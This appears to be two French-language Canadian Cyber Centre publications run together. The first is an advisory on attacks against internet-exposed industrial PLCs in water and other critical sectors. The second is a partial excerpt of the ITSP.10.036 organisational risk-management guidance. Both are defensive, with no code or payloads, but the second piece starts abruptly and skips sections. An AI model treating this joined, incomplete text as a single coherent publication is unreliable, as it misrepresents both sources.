En juillet 2026, la Cybersecurity and Infrastructure Security Agency (CISA) des États-Unis a signalé une augmentation importante des attaques visant les API utilisés par les services de traitement de l’eau potable et des eaux usées. Les auteurs de menace ont modifié des mots de passe afin d’empêcher les opérateurs d’accéder à leurs automates de contrôle et ont mis des dispositifs hors service en modifiant leurs adresses réseau. Cette activité a entraîné l’émission d’avis d’ébullition de l’eau et le maintien d’opérations manuelles prolongées dans les services publics touchés.

Les auteurs de menace mettent à l’essai et perfectionnent leurs techniques d’exploitation visant des modèles précis d’API. Les auteurs de menace concentrent leurs activités sur des secteurs et des installations précis. Nos partenaires estiment que cette activité correspond vraisemblablement à des activités persistantes de reconnaissance visant à développer des capacités d’attaque et à préparer des actions susceptibles d’avoir des répercussions opérationnelles sur les infrastructures essentielles. Les secteurs les plus ciblés sont le secteur manufacturier essentiel, les secteurs de l’énergie, de l’eau et des eaux usées, des produits chimiques, de l’alimentation et de l’agriculture, ainsi que des installations commerciales. Les auteurs de menace ciblent des organisations de toutes tailles.

À ce jour, aucun incident majeur ayant affecté des environnements de SCI/TO n’a été signalé au Canada. Toutefois, nous estimons que le niveau de menace auquel sont exposés les propriétaires et exploitants d’environnements de SCI/TO continue d’augmenter et que les prochains incidents risquent d’avoir des conséquences plus importantes.

Afin de surveiller et d’atténuer cette menace, nous encourageons les organisations canadiennes à consulter les conseils dont les liens figurent ci-dessous concernant la réduction de l’exposition à Internet, la sécurisation de l’accès à distance et la protection des systèmes de SCI/TO.

La menace visant les API exposés à Internet

Les API sont de petits ordinateurs industriels qui contrôlent des processus physiques, tels que les pompes, les vannes, la pression et la température. Ils sont utilisés dans des installations de tous les secteurs d’infrastructures essentielles. Un auteur de menace qui obtient l’accès à un API peut perturber des processus industriels, endommager des équipements, mettre en danger la sécurité des travailleuses et travailleurs et du public. Les répercussions peuvent se propager à l’ensemble des systèmes interconnectés. Même si les API sont souvent ciblés en raison de leur contrôle direct sur les procédés physiques, d’autres biens de SCI/TO exposés à Internet, notamment les interfaces homme-machine (IHM), sont également à risque.

Les auteurs de menace utilisent des services de balayage de l’Internet pour repérer les API exposés et exploitent des mots de passe faibles, par défaut ou inexistants, afin d’y accéder. Une fois l’accès obtenu, les auteurs de menace ont modifié les paramètres des dispositifs, désactivé les alarmes et empêché les opérateurs d’accéder à leurs systèmes, obligeant les installations à fonctionner manuellement jusqu’au rétablissement des services.

De nombreux API sont exposés à Internet de façon involontaire et à l’insu des organisations qui en sont propriétaires. Ces systèmes peuvent être facilement repérés au moyen de services publics de balayage de l’Internet. Un système de contrôle peut être isolé du réseau de technologies de l’information (TI) de l’organisation tout en demeurant accessible depuis Internet. Un modem cellulaire ou une connexion d’accès à distance d’un fournisseur, installés lors de la mise en service ou d’activités de maintenance, peuvent fournir un point d’accès à ce système. Ces connexions sont souvent non documentées, conservées même lorsqu’elles ne sont plus nécessaires et échappent aux analyses périodiques de la surface d’attaque. Les organisations devraient s’assurer qu’il n’est pas possible d’accéder à leurs systèmes à partir d’Internet.

Les organisations devraient recenser et sécuriser tous les biens de SCI/TO accessibles depuis Internet, et non seulement les API, en veillant à ce que les accès à distance soient adéquatement contrôlés et surveillés.

Les risques liés aux tiers et aux intégrateurs de systèmes

Le risque d’exposition inconnue est particulièrement élevé pour les organisations qui font appel à des intégrateurs de systèmes ou à des fournisseurs de services tiers pouvant disposer d’un accès à distance à leurs API pour effectuer des activités de maintenance, de surveillance ou de soutien. Même les organisations disposant de programmes de cybersécurité matures devraient valider leurs connexions externes avec leurs intégrateurs et leurs fournisseurs de services, et analyser les plages d’adresses Internet qu’elles possèdent afin de repérer les systèmes exposés, en particulier les connexions mises en place par des tiers et qui ne font plus l’objet d’une gestion ou d’une documentation active.

Une définition inadéquate des rôles et des responsabilités entre les organisations et leurs fournisseurs de services crée souvent des lacunes qui laissent des systèmes essentiels sans protection. Le Centre pour la cybersécurité encourage les organisations à travailler en étroite collaboration avec leurs intégrateurs et leurs fournisseurs de services afin de s’assurer que les systèmes sont mis en œuvre de façon sécuritaire et maintenus tout au long de leur cycle de vie, et à envisager d’inclure les activités de maintenance, les responsabilités en matière de sécurité et les clauses de responsabilité dans les ententes touchant la prestation de services, conformément aux pratiques exemplaires en matière de sécurité.

Les auteurs de cybermenace utilisent l’intelligence artificielle pour attaquer les API

Comme nous l’avons indiqué dans notre bulletin sur les cybermenaces portant sur les activités non étatiques ciblant la technologie opérationnelle canadienne, les outils d’IA pouvant soutenir les activités de cybermenace évoluent rapidement et sont de plus en plus accessibles. Ces outils permettent à des auteurs de menace dotés de moyens peu sophistiqués de mener des attaques complexes et perturbatrices visant des systèmes de SCI/TO. Nous estimons que la disponibilité croissante de ces outils augmentera probablement la fréquence des attaques opportunistes visant les systèmes exposés à Internet.

Dans le cadre de cette campagne, les auteurs de menace utilisent l’IA pour générer des scripts d’exploitation qu’ils déguisent en logiciels de surveillance légitimes, réduisant considérablement l’expertise et le temps nécessaires à la mise au point d’outils d’attaque fonctionnels. Il est très probable que les auteurs de menace poursuivent leurs activités malgré les rapports publics détaillant leurs opérations. Nos partenaires ont publié leurs plus récentes mises en garde en août 2026.

Ressources utiles

Consultez les ressources suivantes pour obtenir de plus amples renseignements, ainsi que des avis et conseils utiles :

Rapports et bulletins

• Évaluations des menaces visant le Canada
  • Évaluation des cybermenaces nationales 2025-2026
• Bulletins et publications de partenaires
  • Bulletin sur les cybermenaces : Activités non étatiques ciblant les technologies opérationnelles canadiennes
  • Alerte - AL25-016 Abus de systèmes de contrôle industriels (SCI) accessibles depuis Internet par des hacktivistes
  • Defending Against an Active Threat to Siemens S7 Series PLCs (en anglais seulement)
  • CISA Urges Water and Wastewater Systems Sector to Protect OT Against Activity Targeting PLCs (en anglais seulement)
  • Disruptive cyber activity highlights risk from internet-exposed systems and edge devices (en anglais seulement)
  • Pro-Russia Hacktivists Conduct Opportunistic Attacks Against US and Global Critical Infrastructure (en anglais seulement)
  • Creating and maintaining a definitive view of your OT architecture (en anglais seulement)
  • Secure connectivity principles for operational technology (OT) (en anglais seulement)
  • Primary Mitigations to Reduce Cyber Threats to Operational Technology (en anglais seulement)
  • Internet Exposure Reduction Guidance (en anglais seulement)

Avis et conseils

• Objectifs relatifs à l’état de préparation en matière de cybersécurité :Sécuriser les systèmes les plus essentiels
• Boîte à outils des objectifs relatifs à l’état de préparation en matière de cybersécurité intersectoriels
• Initiative Résilience des infrastructures essentielles face à l’intensification des menaces
• Considérations en matière de sécurité pour les infrastructures essentielles (ITSAP.10.100)
• Protéger vos technologies opérationnelles (ITSAP.00.051)
• Facteurs relatifs à la sécurité à considérer pour les systèmes de contrôle industriels (ITSAP.00.050)
• L’intelligence artificielle de pointe (ITSAP.10.050)

Avant-propos

L'ITSP.10.036, Activités organisationnelles de gestion des risques pour la cybersécurité et la vie privée, est un document NON CLASSIFIÉ publié avec l'autorisation du dirigeant principal, Centre canadien pour la cybersécurité (Centre pour la cybersécurité).

La présente publication remplace l'annexe 1 – Activités de gestion des risques liés à la sécurité des TI du document La gestion des risques liés à la sécurité des TI : Une méthode axée sur le cycle de vie (ITSG-33).

Pour obtenir de plus amples renseignements ou suggérer des modifications, veuillez communiquer avec le Centre pour la cybersécurité :

• par courriel : contact@cyber.gc.ca
• par téléphone : (613) 949-7048 ou 1-833-CYBER-88

Date d'entrée en vigueur

Cette publication entre en vigueur le 14 septembre 2026.

Historique des révisions

1. Première version : 14 septembre 2026

2 Processus de gestion des risques pour la cybersécurité et la vie privée

Afin de gérer les risques pour la cybersécurité et la vie privée avec efficacité et de manière à optimiser les coûts, les documents ITSP.10.036 et ITSP.10.037 décrivent une approche que les organisations peuvent adapter selon leur culture, leur mission, leurs objectifs organisationnels, leurs besoins opérationnels en matière de sécurité et de protection de la vie privée et les menaces qui pèsent sur leurs activités.

La figure 1 illustre le processus de gestion des risques pour la cybersécurité et la vie privée suggérés dans les documents ITSP.10.036 et ITSP.10.037. Elle démontre que les activités de gestion des risques pour la cybersécurité et la vie privée sont menées à deux niveaux distincts dans une organisation : au niveau organisationnel et au niveau des systèmes.

Description longue – Figure 1 : Processus de gestion des risques pour la cybersécurité et la vie privée

Cette figure définit les activités organisationnelles générales de gestion des risques pour la cybersécurité et la vie privée. Elle décrit également les activités de gestion des risques pour la cybersécurité et la vie privée tout au long du cycle de vie des systèmes qui sont menées dans le cadre de projets et au sein de groupes opérationnels. Elle souligne le fait que les activités de gestion des risques pour la cybersécurité et la vie privée aux deux niveaux agissent de concert dans un cycle continu pour maintenir et améliorer efficacement la posture de sécurité des systèmes organisationnels.

La figure Activités organisationnelles de gestion des risques pour la cybersécurité et la vie privée est destinée aux autorités organisationnelles à cet égard et regroupe les étapes suivantes  :

• 4.1 Définir les besoins organisationnels en matière de cybersécurité et de protection de la vie privée
  • Transmission du rapport organisationnel d’évaluation des cybermenaces aux équipes de projet et aux groupes opérationnels responsables des activités de gestion des risques pour la cybersécurité et la vie privée tout au long du cycle de vie des systèmes
• 4.2 Élaborer les profils d'activités et de contrôles en matière de sécurité et de protection de la vie privée
  • Diffusion des profils organisationnels des activités et des contrôles de sécurité et de protection de la vie privée approuvés
• 4.3 Attribuer les activités et les contrôles de sécurité et de protection de la vie privée
  • Transmission des listes d’attribution des activités et des contrôles (communs, hybrides ou propres au système) aux équipes de projet et aux groupes opérationnels responsables des activités de gestion des risques pour la cybersécurité et la vie privée tout au long du cycle de vie des systèmes
• 4.4 Surveiller et évaluer le niveau de performance des activités et des contrôles en matière de sécurité et de protection de la vie privée
• 4.5 Maintenir l'autorisation
• 4.6 Mettre à jour le ou les profils d'activités et de contrôles en matière de sécurité et de protection de la vie privée
  • Retour à l’étape 2, Élaborer les profils d’activités et de contrôles en matière de sécurité et de protection de la vie privée

Les activités de gestion des risques pour la cybersécurité et la vie privée tout au long du cycle de vie des systèmes, qui sont menées par les équipes de projet et les groupes opérationnels, s’adressent notamment aux gestionnaires de projet, aux architectes de sécurité et de protection de la vie privée, aux évaluatrices et évaluateurs, aux ingénieures et ingénieurs ainsi qu’aux développeuses et développeurs. Elles comprennent les étapes suivantes :

1. Concept : Définir les besoins du système en matière de cybersécurité et de protection de la vie privée
2. Développement : Élaborer l'architecture et la conception des systèmes sécurisés
3. Production : Mettre en œuvre, intégrer, vérifier et valider les systèmes sécurisés
4. Exploitation et soutien : Assurer l'exploitation, la surveillance et la maintenance des systèmes sécurisés
   • Transmission de la rétroaction sur le niveau de performance en matière de cybersécurité et de protection de la vie privée aux autorités organisationnelles responsables de la cybersécurité et de la protection de la vie privée afin d’éclairer l’étape 4, Surveiller et évaluer le niveau de performance des activités et des contrôles en matière de sécurité et de protection de la vie privée
5. Mise hors service : Éliminer les biens de façon sécurisée lors de leur mise hors service

Au niveau de l'organisation, ce qui fait l'objet de la présente publication, les activités de gestion des risques pour la cybersécurité et la vie privée sont effectuées par les fonctions responsables de la cybersécurité et de la protection de la privée dans l'organisation (voir la section 4). Pour mener à bien ce processus, les programmes organisationnels de cybersécurité et de protection de la vie privée doivent collaborer étroitement, puisque leurs objectifs pourraient converger et être complémentaires. Les objectifs de ces activités consistent à faire ce qui suit :

• définir les besoins organisationnels en matière de cybersécurité et de protection de la vie privée, ainsi que les activités et les contrôles connexes;
• attribuer la responsabilité pour les activités et les contrôles de sécurité et de protection de la vie privée;
• surveiller et évaluer continuellement le niveau de performance des activités et des contrôles attribués;
• établir les mises à jour à appliquer aux activités et aux contrôles (changements apportés aux activités et aux contrôles existants ou ajout d'activités et de contrôles) selon les résultats des activités de surveillance continue, d'évaluation et de maintien des autorisations, et superviser la mise en œuvre de ces mises à jour.

Au niveau du système, les activités de gestion des risques pour la cybersécurité et la vie privée sont effectuées par les projets de technologies de l'information (TI) et de technologie opérationnelle (TO) et les groupes opérationnels de TI et de TO. Ceux-ci suivent les phases de mise en œuvre, d'exploitation et d'élimination des systèmes décrites dans le document Activités de gestion des risques pour la cybersécurité et la vie privée tout au long du cycle de vie des systèmes (ITSP.10.037). Les objectifs des activités au niveau des systèmes consistent à faire ce qui suit :

• définir les besoins en matière de cybersécurité et de protection de la vie privée ainsi que les activités et les contrôles connexes pour les systèmes basés sur les activités menées par les fonctions responsables de la cybersécurité et de la protection de la vie privée;
• concevoir, développer ou acquérir des systèmes qui répondent aux activités et aux contrôles définis;
• intégrer, tester et installer des systèmes qui répondent aux besoins en matière de sécurité et de protection de la vie privée;
• exploiter, surveiller et tenir à jour les systèmes de sécurité et de protection de la vie privée au cours de la phase d'exploitation et de maintenance;
• éliminer les biens de façon sécurisée lors de la mise hors service des systèmes;
• éliminer les biens de renseignements personnels de façon sécurisée lorsqu'ils ne sont plus nécessaires à l'organisation.

4 Activités organisationnelles de gestion des risques pour la cybersécurité et la vie privée

Cette section décrit les activités organisationnelles de gestion des risques pour la cybersécurité et la vie privée que le Centre pour la cybersécurité recommande d'incorporer dans le programme de sécurité et de protection de la vie privée d'une organisation. Elle propose également des lignes directrices sur la façon de les accomplir efficacement.

Remarque propre au GC

Avant d'intégrer les activités de l'ITSP.10.036 dans leur programme ministériel de sécurité et de protection de la vie privée, les ministères devraient s'assurer que leur structure de gouvernance (rôles, responsabilités et responsables de la prise de décisions) est conforme à celle décrite dans les plus récents instruments de politique du SCT.

La figure 2, Activités organisationnelles de gestion des risques pour la cybersécurité et la vie privée, décrit les activités du processus de gestion des risques pour la cybersécurité et la vie privée qui sont effectuées au niveau de l'organisation. Le principal objectif de ces activités est d'attribuer et de tenir à jour un ensemble d'activités et de contrôles de sécurité et de protection de la vie privée adaptés aux besoins et aux objectifs de l'organisation à cet égard.

La protection des renseignements personnels^{Footnote 2} est une responsabilité partagée à plusieurs facettes qui exige des efforts concertés et coordonnés de la part des fonctions responsables de la sécurité et de la protection de la vie privée tout au long du processus de gestion des risques.

Les principaux résultats des activités organisationnelles de gestion des risques pour la cybersécurité et la vie privée sont des profils d'activités et de contrôles, ainsi que des référentiels de menaces organisationnels, qui servent d'éléments clés au niveau du système d'information dans le cadre du processus de gestion des risques associé au déploiement d'activités et de contrôles dans les systèmes d'information.

Description longue - Figure 2 : Activités organisationnelles de gestion des risques pour la cybersécurité et la vie privée

La figure présente un diagramme horizontal de flux de processus intitulé « Activités organisationnelles de gestion des risques pour la cybersécurité et la vie privée ». Un en-tête foncé s'étend sur toute la largeur au haut de la figure et indique que le public cible est constitué d'autorités organisationnelles en matière de cybersécurité et de protection de la vie privée. Sur le côté gauche de la figure, une barre verticale porte la mention « Fonctions organisationnelles responsables de la cybersécurité et de la protection de la vie privée ».

Au centre, six rectangles jaunes représentant les principales activités organisationnelles sont disposés de gauche à droite et reliés par des flèches pointant vers la droite. Ces activités sont les suivantes :

• 4.1 Définir les besoins organisationnels en matière de cybersécurité et de protection de la vie privée
• 4.2 Élaborer les profils d'activités et de contrôles en matière de sécurité et de protection de la vie privée
• 4.3 Attribuer les activités et les contrôles de sécurité et de protection de la vie privée
• 4.4 Surveiller et évaluer le niveau de performance des activités et des contrôles en matière de sécurité et de protection de la vie privée
• 4.5 Maintenir l'autorisation
• 4.6 Mettre à jour le ou les profils d'activités et de contrôles en matière de sécurité et de protection de la vie privée

Chacune des trois premières activités est reliée par une flèche descendante à une case blanche correspondant aux principaux livrables situés en dessous :

• Sous 4.1 : Rapport de l'évaluation organisationnelle des menaces à la cybersécurité
• Sous 4.2 : Diffusion des profils organisationnels des activités et des contrôles de sécurité et de protection de la vie privée approuvés
• Sous 4.3 : Listes d'attribution des activités et des contrôles (communs, hybrides, propres au système)

Sous les activités 4.1 et 4.3, une flèche descendante accompagne une légende indiquant : « Éléments clés du processus d'ingénierie de la sécurité et de la protection de la vie privée ».

Une grande flèche blanche pointant vers le haut est située sous la section 4.4. Elle porte l'étiquette « Rétroaction sur le niveau de performance de la cybersécurité et de la protection de la vie privée » et indique que les résultats de la surveillance alimentent le processus organisationnel. À droite de la flèche ascendante, une note indique « Résultats de la surveillance des contrôles de sécurité et de protection de la vie privée des systèmes » afin de préciser que la surveillance effectuée au niveau des systèmes produit une rétroaction dont l'organisation se sert pour réévaluer et mettre à jour, au besoin, ses profils et ses attributions de contrôles.

Enfin, l'activité 4.6 Mettre à jour est reliée à l'étape antérieure 4.2 « Élaborer les profils d'activités et de contrôles en matière de sécurité et de protection de la vie privée » par une flèche de rétroaction qui forme une boucle dans la partie supérieure du diagramme.

Les activités organisationnelles de gestion des risques pour la cybersécurité et la vie privée visent à atteindre les objectifs suivants :

• établir et documenter les besoins organisationnels pour ce qui a trait aux activités opérationnelles en matière de sécurité et de protection de la vie privée;
• réaliser et tenir à jour les évaluations des menaces organisationnelles que les autorités, les praticiennes et les praticiens en matière de sécurité et de protection de la vie privée peuvent utiliser pour identifier les auteurs de menace pertinents, orienter la détermination des risques et de la robustesse tout au long du cycle de vie de développement et produire des résultats uniformes;
• élaborer les profils organisationnels des activités et des contrôles adaptés aux besoins opérationnels en matière de sécurité et de protection de la vie privée;
  • utiliser le ou les profils dans les projets qui visent à mettre en œuvre ou à mettre à jour les systèmes d'information organisationnels;
• attribuer les activités et les contrôle de sécurité et de protection de la vie privée dans l'infrastructure de sécurité d'entreprise;
• définir les activités et contrôles communs, hybrides ou propres au système nécessaires pour soutenir l'attribution de responsabilités dans l'ensemble de l'entreprise;
• assurer la coordination des fonctions responsables de la sécurité et de la protection de la vie privée de l'organisation (par exemple, la sécurité physique et la sécurité du personnel) afin d'adopter une approche uniforme pour ce qui a trait à la conception et à l'exploitation de systèmes d'information fiables;
• surveiller et évaluer le niveau de performance des activités et des contrôles mis en place pour protéger les activités opérationnelles de l'organisation; élaborer et mettre en œuvre des mesures correctives pour améliorer le rendement de l'organisation, ainsi que sa posture globale en matière de sécurité et de protection de la vie privée.

4.1 Définir les besoins organisationnels en matière de cybersécurité et de protection de la vie privée

La présente section décrit le processus visant à définir les besoins organisationnels en matière de cybersécurité et de protection de la vie privée. Elle comprend les sous-activités suivantes :

• définir la portée des activités liées à l'évaluation des risques pour la cybersécurité et la vie privée de l'organisation (section 4.1.1)
• déterminer les besoins opérationnels en matière de sécurité et de protection de la vie privée associés aux activités opérationnelles de l'organisation (section 4.1.2)
• procéder à l'évaluation à la catégorisation du préjudice associé aux activités opérationnelles de l'organisation (section 4.1.3)
• sélectionner la méthodologie d'évaluation des menaces et des risques (EMR) liés à la cybersécurité de l'organisation (section 4.1.4)
• sélectionner la méthodologie d'évaluation de la protection de la vie privée de l'organisation (section 4.1.5)
• procéder à l'évaluation des menaces à la cybersécurité de l'organisation (section 4.1.6)

Chacune de ces activités visant à définir les besoins organisationnels en matière de cybersécurité et de protection de la vie privée est décrite dans les sections suivantes. Ces activités sont effectuées lors de la première mise en œuvre des lignes directrices présentées dans cette publication, puis au besoin selon l'évaluation de la posture de sécurité et de protection de la vie privée des systèmes d'information d'une organisation (voir la section 4.6).

4.1.1 Définir la portée des activités d'évaluation des risques pour la cybersécurité et la vie privée

Objectif : Définir la portée des activités organisationnelles d'évaluation des risques pour la cybersécurité et la vie privée.

Rôles connexes suggérés : Responsables principales et principaux de la sécurité (par exemple, DPS, dirigeante principale ou dirigeant principal de la sécurité de l'information [DPSI]), responsables principales et principaux de la protection de la vie privée, conseillères et conseillers en cybersécurité, architectes de sécurité d'entreprise, conseillères et conseillers en protection de la vie privée, architectes de la protection de la vie privée, directrices et directeurs de projet

La portée peut être caractérisée par les éléments suivants :

• les programmes, les services, l'information et les activités opérationnelles de l'organisation qui doivent être protégés;
• les programmes, les services et les activités de l'organisation qui consistent à créer, à collecter et à traiter les renseignements personnels en son contrôle;
• les biens informatiques importants (par exemple, les applications commerciales, les systèmes d'information, les centres de données, les réseaux locaux, les données traitées et stockées, l'information) et leurs emplacements géographiques;
• les technologies de base utilisées dans les systèmes d'information de l'organisation;
• les stratégies d'approvisionnement (par exemple, en interne, externalisation).

La portée devrait clairement définir les activités opérationnelles et les biens de l'organisation qui relèvent de son champ d'application, ainsi que ceux qui en sont exclus avec une justification de l'exclusion. Elle devrait également indiquer les dépendances externes, comme les fournisseurs de services externes.

Résultat : Définition de la portée des activités organisationnelles d'évaluation des risques pour la cybersécurité et la vie privée et de l'inventaire des renseignements personnels.

4.1.2 Définir les besoins opérationnels en matière de sécurité et de protection de la vie privée

Objectif : Déterminer les besoins opérationnels en matière de sécurité et de protection de la vie privée associés aux activités opérationnelles de l'organisation.

Rôles connexes suggérés : Responsables principales et principaux de la sécurité (comme les DPS et les DPSI), responsables principaux et principaux de la protection de la vie privée, conseillères et conseillers en cybersécurité, conseillères et conseillers en protection de la vie privée et directrices et directeurs de projets

Dans le contexte de la gestion des risques pour la cybersécurité et la protection de la vie privée, on entend par besoins opérationnels en matière de sécurité et de protection de la vie privée, le besoin de protéger les activités et l'information opérationnelles de l'organisation contre les événements préjudiciables qui pourraient empêcher l'organisation de mener à bien sa mission, ses objectifs et ses obligations. Les besoins opérationnels en matière de sécurité et de protection de la vie privée nécessaires pour assurer la conformité reposent sur les lois et les règlements qui prescrivent les exigences de protection des systèmes d'information et des renseignements personnels. Les besoins opérationnels en matière de sécurité et de protection de la vie privée, quant à eux, définissent les objectifs officiels à cet égard. Les besoins peuvent découler des éléments suivants :

• les exigences stipulées dans les lois, les règlements, les politiques, les directives, les normes, la jurisprudence et les objectifs qui régissent les activités opérationnelles de l'organisation et la gestion de l'information (par exemple, dans le GC, un cadre ministériel des résultats);
• les expositions aux menaces et les exigences en matière de conformité relatives aux systèmes d'information reconnus par l'organisation ou de manière générale;
• les obligations contractuelles ou négociées (par exemple, les contrats, les protocoles d'entente [PE], les accords sur les niveaux de service [ANS] et les accords d'échange de renseignement [AER]).

Les besoins opérationnels en matière de sécurité incluent les exigences relatives à la protection de la vie privée qui doivent être prises en compte aux fins de gestion des risques pour la vie privée.

Les exemples de besoins opérationnels en matière de sécurité et de protection de la vie privée comprennent la nécessité de faire ce qui suit :

• restreindre l'accès à l'information sensible du programme ou aux renseignements personnels aux personnes autorisées pour l'exécution d'actions autorisées;
• limiter les utilisations ou divulgations secondaires de renseignements personnels;
• vérifier l'identité des citoyennes et citoyens avant de divulguer des renseignements personnels qui les concernent;
• s'assurer que seules les personnes autorisées peuvent approuver le paiement effectué en faveur d'une ou un bénéficiaire.

Les organisations devraient établir leurs besoins en matière de sécurité et de protection de la vie privée avec l'aide des analystes des activités, des propriétaires de systèmes, des architectes de systèmes, ainsi que des architectes de sécurité et de protection de la vie privée. Les éléments utiles pour cette activité incluent la documentation des processus opérationnels (par exemple, descriptions, scénarios d'utilisation, concepts d'opérations [CONOPS]) et les évaluations des répercussions (par exemple, analyse des répercussions sur les activités [ARA], évaluation des facteurs relatifs à la vie privée [EFVP], évaluation de l'incidence algorithmique).

Résultat : Document précisant les besoins opérationnels en matière de sécurité et de protection de la vie privée associés aux activités opérationnelles de l'organisation.

4.1.3 Procéder à l'évaluation et à la catégorisation du préjudice associé aux activités opérationnelles de l'organisation

Objectif : Procéder à l'évaluation et à la catégorisation du préjudice associé aux activités opérationnelles de l'organisation.

Rôles connexes suggérés : Conseillères et conseillers en sécurité, conseillères et conseillers en protection de la vie privée, directrice ou directeur de projet

Une catégorie de préjudice exprime les niveaux les plus élevés de préjudices prévus qui découlent des compromissions liées aux menaces par rapport aux objectifs de sécurité et de protection de la vie privée portant sur la confidentialité, l'intégrité et la disponibilité. Les exigences relatives à la sécurité peuvent améliorer la catégorisation en matière d'intégrité et de disponibilité.

Pour catégoriser les activités opérationnelles, il convient d'abord de déterminer les préjudices prévus qu'une compromission liée à une cybermenace pourrait avoir sur les intérêts nationaux et non nationaux servis par ces activités opérationnelles, puis de déterminer le niveau de ces préjudices prévus. Bien que l'atteinte à la sécurité des renseignements personnels puisse donner lieu à différents niveaux de préjudice, les obligations en matière de conformité ne changent pas en fonction du type de renseignement personnel. La catégorisation exhaustive de la sécurité de l'information devrait prendre en considération la présence de renseignements personnels.

Les organisations peuvent catégoriser leurs activités opérationnelles conformément au processus indiqué à la section 5.

Résultat : Rapport de catégorisation du préjudice pour les activités opérationnelles de l'organisation.

4.1.4 Sélectionner la méthodologie d'évaluation des menaces et des risques pour la cybersécurité de l'organisation

Objectif : Sélectionner la méthodologie selon laquelle les menaces et les risques liés à la sécurité et à la protection de la vie privée seront évalués par l'organisation.

Rôles connexes suggérés : Responsables principales et principaux de la sécurité (DPS, DPSI), conseillères et conseillers en sécurité

Une méthodologie d'EMR de la cybersécurité doit être sélectionnée à cette étape, puisqu'une organisation utilisera la partie relative à l'évaluation des menaces lorsqu'elle évaluera les menaces qui pèsent sur ses activités opérationnelles. De plus, les projets utiliseront cette méthodologie pour mener à bien les activités d'EMR.

La méthodologie harmonisée d'évaluation des menaces et des risques (EMR) (TRA-1) du CST et de la GRC est un exemple de méthodologie d'EMR souvent utilisée dans le GC.

Résultat : Sélection d'une méthodologie organisationnelle d'EMR liés à la cybersécurité.

4.1.5 Sélectionner la méthodologie d'évaluation de la protection de la vie privée de l'organisation

Objectif : Sélectionner la méthodologie selon laquelle les risques pour la protection de la vie privée et les lacunes sur le plan de la conformité seront évalués par l'organisation.

Rôles connexes suggérés : Responsables principales et principaux de la protection de la vie privée, conseillères et conseillers en protection de la vie privée

À cette étape, une méthodologie d'évaluation de la protection de la vie privée doit être sélectionnée pour relever, évaluer et atténuer les risques potentiels pour la vie privée qui sont associés à des programmes, des technologies ou des projets nouveaux ou modifiés.

Dans le GC, les évaluations de la protection de la vie privée sont conformes à la politique du SCT et elles commencent par l'élaboration d'un modèle pour la liste de vérification de la protection de la vie privée. Cette liste de vérification aide à déterminer si une initiative exige un protocole de protection de la vie privée, une EFVP ou une aucune autre évaluation de la protection de la vie privée. Chaque méthodologie d'évaluation repose sur son modèle correspondant. Par conséquent, le fait de sélectionner le modèle approprié permet également de déterminer l'approche d'évaluation à adopter.

Résultat : Sélection de la méthodologie organisationnelle d'évaluation de la protection de la vie privée. Dans le GC, cette étape permettra également de créer une liste de vérification de la protection de la vie privée qui détermine le modèle à utiliser pour toute analyse additionnelle à cet égard.

4.1.6 Procéder à l'évaluation organisationnelle des menaces à la cybersécurité

Objectif : Procéder à une évaluation panorganisationnelle initiale des menaces à la cybersécurité qui permettra d'orienter la sélection d'activités et de contrôles de sécurité et de protection de la vie privée dont les projets pourront tirer avantage lors de la mise en œuvre des systèmes.^{Footnote 3}

Rôles connexes suggérés : Analystes du renseignement, analystes des menaces à la cybersécurité

Cette activité déterminera et qualifiera les menaces pertinentes pour les activités opérationnelles de l'organisation abordées dans la présente.

L'évaluation des menaces à la cybersécurité remplit deux objectifs :

• éclairer l'EMR;
• soutenir les décisions liées au contexte de menace.

Les organisations peuvent indiquer un sous-ensemble de toutes les menaces potentielles contre lesquelles elles veulent protéger leurs activités opérationnelles. Cela signifie que certaines menaces peuvent être relevées et envisagées, tout en étant exclues de la portée pour diverses raisons. Par exemple, une organisation peut conclure qu'il serait trop coûteux ou trop complexe de se protéger contre une menace, ou que la protection est susceptible de limiter de façon excessive une fonctionnalité destinée à soutenir des activités opérationnelles. Le renseignement sur les menaces, y compris les décisions et la justification en ce qui concerne l'exclusion de menaces particulières, est documenté en fonction du contexte de menace de l'organisation.

Une évaluation des menaces à l'échelle de l'organisation est un outil précieux que l'on peut utiliser pour sélectionner, adapter, attribuer, mettre à jour et améliorer les activités et les contrôles de sécurité et de protection de la vie privée mis en œuvre. Ses résultats, en plus des besoins opérationnels de l'organisation en matière de sécurité et de protection de la vie privée, forment une base solide pour l'élaboration des profils d'activités et de contrôles organisationnels.

À l'élaboration de ces profils, l'accent pourrait être mis sur des référentiels de menaces plus précis et propres aux domaines afin de documenter le renseignement détaillé sur les menaces qui touchent les domaines opérationnels.

Une évaluation efficace des menaces organisationnelles devrait évaluer et considérer ce qui suit :

• les principales activités opérationnelles de l'organisation;
• l'évaluation du préjudice associé à ces activités;
• les menaces pertinentes qui pèsent sur les activités;
• les expositions générales qui pourraient avoir une incidence sur les activités opérationnelles (par exemple, des lieux physiques vulnérables aux séismes).

Dans le GC, les évaluations des menaces ministérielles devraient être réalisées par des équipes multidisciplinaires avec l'aide du bureau de la ou du DPI, des principaux organismes de sécurité du GC et des praticiennes et praticiens de la protection de la vie privée.

Résultat : Le référentiel d'évaluation des menaces de l'organisation documente les menaces et les expositions qui sont pertinentes pour les activités.

 

Haut de la page 

4.2 Élaborer les profils d'activités et de contrôles en matière de sécurité et de protection de la vie privée

Objectif : Créer des profils organisationnels des activités et des contrôles en matière de sécurité et de protection de la vie privée adaptés aux besoins à cet égard.

Rôles connexes suggérés : Responsables principales et principaux de la sécurité, comme les DPS et les DPSI, responsables principales et principaux de la protection de la vie privée, architectes de sécurité d'entreprise, architectes de la protection de la vie privée, conseillères et conseillers en sécurité, conseillères et conseillers en protection de la vie privée.

Selon leur champ d'activités (par exemple, la gestion d'une seule initiative, la supervision de plusieurs projets ou l'exploitation de multiples domaines de sécurité) et la complexité de leurs activités opérationnelles, les organisations peuvent maintenir un seul profil panorganisationnel ou plusieurs profils propres aux domaines adaptés aux différents secteurs de leurs activités.

On s'attend à ce que les fonctions responsables de la cybersécurité et de la protection de la vie privée d'une organisation collaborent à l'élaboration des profils, puisque des activités non autorisées sur les systèmes pourraient poser des risques pour la vie privée. Cela dit, les risques pour la vie privée associés à la manutention de renseignements personnels dans un système d'information ne relèvent pas tous de la sécurité de l'information. Ils peuvent être le résultat d'activités liées à la création, à la collecte, à la conservation, à la précision, à l'utilisation, à la divulgation ou à l'élimination des renseignements personnels sous le contrôle d'une organisation. Par conséquent, la fonction responsable de la protection de la vie privée au sein d'une organisation sélectionnera, attribuera, surveillera et évaluera également les contrôles de protection de la vie privée afin de se conformer à ces exigences législatives.

